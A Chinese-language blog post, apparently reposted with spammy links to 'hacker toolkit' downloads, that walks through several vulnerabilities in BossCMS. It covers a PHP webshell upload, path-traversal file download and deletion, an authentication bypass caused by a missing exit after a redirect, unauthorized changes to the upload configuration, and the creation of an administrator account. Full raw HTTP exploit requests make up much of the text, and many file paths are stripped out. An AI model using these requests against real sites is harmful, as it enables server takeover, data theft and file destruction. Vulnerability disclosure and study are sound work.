php文件上传代码 【点击查看】黑客技术文档学习书籍全套工具包相关教学视频php 文件上传源码
2022-05-01
前言
以下漏洞已提交给 CNVD 并收录
后台上传任何文件
将 Type.php 添加到后台安全设置中
然后通过附件上传的方式上传php木马文件
定位
随意找到上传点,然后抓包上传
修改后缀名发送后报错
{"state":"该文件扩展名不允许上传!"}
这里有一些相关的学习资料供大家参考[点击查看]
黑客技术文档PDF学习书籍全套工具包
审核源代码
通过报错信息定位到 ////..php 下的源码
else是结果,然后在if处下断点
上传php文件开始调试
发现两个条件都不满足
php后缀不在$中! $type!=true 表示 $type 不为空
第一个条件
先解决第一个问题,在文件第29行可以看到$变量值得获取
然后全局搜索,发现他在/////safe.php中得到了
根据路由规则访问
http://bosscms/admin/#safe
如果有允许的上传类型,则直接添加.php并保存,返回源码继续上传.php调试
可以看出此时$数组中多了一个值php文件上传代码,即.php,成功满足第一个要求
第二个条件
令!$type!=true,即令$type=null,即执行到函数第35行
这需要满足$arr数组中的$ext(.php),然后继续看$arr数组是从
$G['extension'][$t]中获取的
这里的$t值是,得到的arr是
".jpg", ".gif", ".png", ".jpeg", ".tif", ".bmp", ".ico", ".webp"
全局搜索结果在 //json/.json
在代码键值中看到我们要上传的.php
所以我们的$t应该是代码,然后回到..php
$t通过遍历$得到,$通过除$type得到。可以看到调用函数时$type的默认值为null,所以调用时指定了code值
跟踪函数,定位到 ////php/..php 中的第 246 行php文件上传代码,调用函数并指定代码值
第二个条件成功解决
测试上传
很明显漏洞存在于编辑器的附件上传中
选择PHP木马文件
上传成功
点击确认,右键打开新链接获取路径
成功
后台下载任何文件
后台搭建url可以下载任意文件
http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php
定位
定位到 ///safe/..php
可以看到没有过滤,直接传值然后下载文件,get参数id值为文件名,可以通过
审核源代码
全局搜索网站优化,最后在 ////into..php 的函数中找到可用的方法
然后就是找到调用链
从 //.php 开始
转到 //.php
////进入..php
函数执行时,使用func值成功调用方法
$mold 和 $part 用于拼接文件并包含一次,然后创建一个新的 $part 对象然后检查该对象中是否有 $func 函数,如果存在则调用它
这样就可以构造url了
http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php
在方法上设置断点并访问
调用成功,参数获取正确
文件下载成功
并且这个CMS的数据库信息写在固定文件///ini/.ini.php
可以配合敏感信息泄露
删除后台的所有文件
定位
定位到 ///safe/..php
还是没有过滤,获取参数id值作为文件名然后调用删除
利用之前的链,先在站点根目录新建test.txt
然后按照规则构造请求包(post:url,get:id)
///safe/..php文件方法
POST /admin/?mold=safe&part=backup&func=delete&id=../../../test.txt HTTP/1.1
Host: bosscms
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYe2EcUgaamtd4Xnh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=safe&part=backup&func=table
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryYe2EcUgaamtd4Xnh
Content-Disposition: form-data; name="url"
1
------WebKitFormBoundaryYe2EcUgaamtd4Xnh--
成功删除文件
未经授权扩大危害
未经授权下载和删除任意文件
用户是否登录的验证在 ///..php 文件的init函数中
判断未登录时,跳转页面,但没有exit()或die()终止程序运行
所以你仍然可以在跳之前得到自己的结果(这可以在BP中体现)
未登录
先执行,成功执行结果得到结果
任何文件下载都一样,在BP中可以看到跳转前的结果
任何文件上传都是未经授权的
在未经授权的情况下扩大后台任何文件上传的攻击面
文件上传未授权
POST /system/extend/ueditor/php/controller.php?action=uploadfile HTTP/1.1
Host: bosscms
Content-Length: 200
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvwjLJGiYAdfklq31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryvwjLJGiYAdfklq31
Content-Disposition: form-data; name="upfile"; filename="test.php"
Content-Type: image/png
------WebKitFormBoundaryvwjLJGiYAdfklq31--
修改上传配置点未授权
在 ///safe/safe..php文件中找到add函数,参数可控
仍然是一条链,根据代码构造请求,在post请求中将.php键值添加到数组中
POST /admin/?mold=safe&part=safe&func=add HTTP/1.1
Host: bosscms
Content-Length: 987
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLNKwhkxPkcJiHO5I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=safe&part=safe&func=init&lang=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_folder"
admin
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_login_captcha"
1
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_logout_time"
28888
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="page_cache_time"
0
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_rename"
1
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_maxsize"
2
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_extension"
[".jpg",".png",".jpeg",".gif",".mp4",".mp3",".pdf",".doc",".xls",".xlsx",".bmp",".csv",".ico",".JPG",".php"]
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="ueditor_catchimage"
0
------WebKitFormBoundaryLNKwhkxPkcJiHO5I--
成功的未经授权的配置修改
修改配置后网站开发,任何文件都可以未经授权上传
访问执行成功
未经授权的用户操作
用户操作是比较敏感的操作,顺便写了
定位
定位到 ////..php
add、edit、三个函数参数由获取(可控)
按照规则构造请求表单,以下是重点
mold=manager&part=manager&func=add
/system/admin/manager/manager.class.php中的add函数
POST传参
username-用户名
password-密码
password-确认密码
level-权限 (2为系统管理员)
申请包裹
POST /admin/?mold=manager&part=manager&func=add HTTP/1.1
Host: bosscms
Content-Length: 1959
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB067fgIWBKtHI4Gy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=manager&part=manager&func=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="username"
123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="password"
123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="passwords"
123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="level"
2
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="department"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="open"
1
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit1"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit2"
["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","seo&seo","seo&violation","seo&rewrite","anchor&anchor","link&link","plugin&plugin","plugin&market","template&template","template&market","store&store","manager&manager","safe&safe","safe&backup","site&site","site&email","site&sms","site&code","menu&menu","language&language","site&state"]
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit3"
["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","plugin&plugin","safe&backup","site&site","site&code","menu&menu","language&language","site&state"]
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit4"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="image"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="alias"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="email"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="phone"
------WebKitFormBoundaryB067fgIWBKtHI4Gy--
成功添加管理员用户
以管理员权限成功登录
后记
这些是一些简单而常见的漏洞点。主要原因是门禁系统崩溃,后台切换到前台,因为程序在跳转后没有及时终止。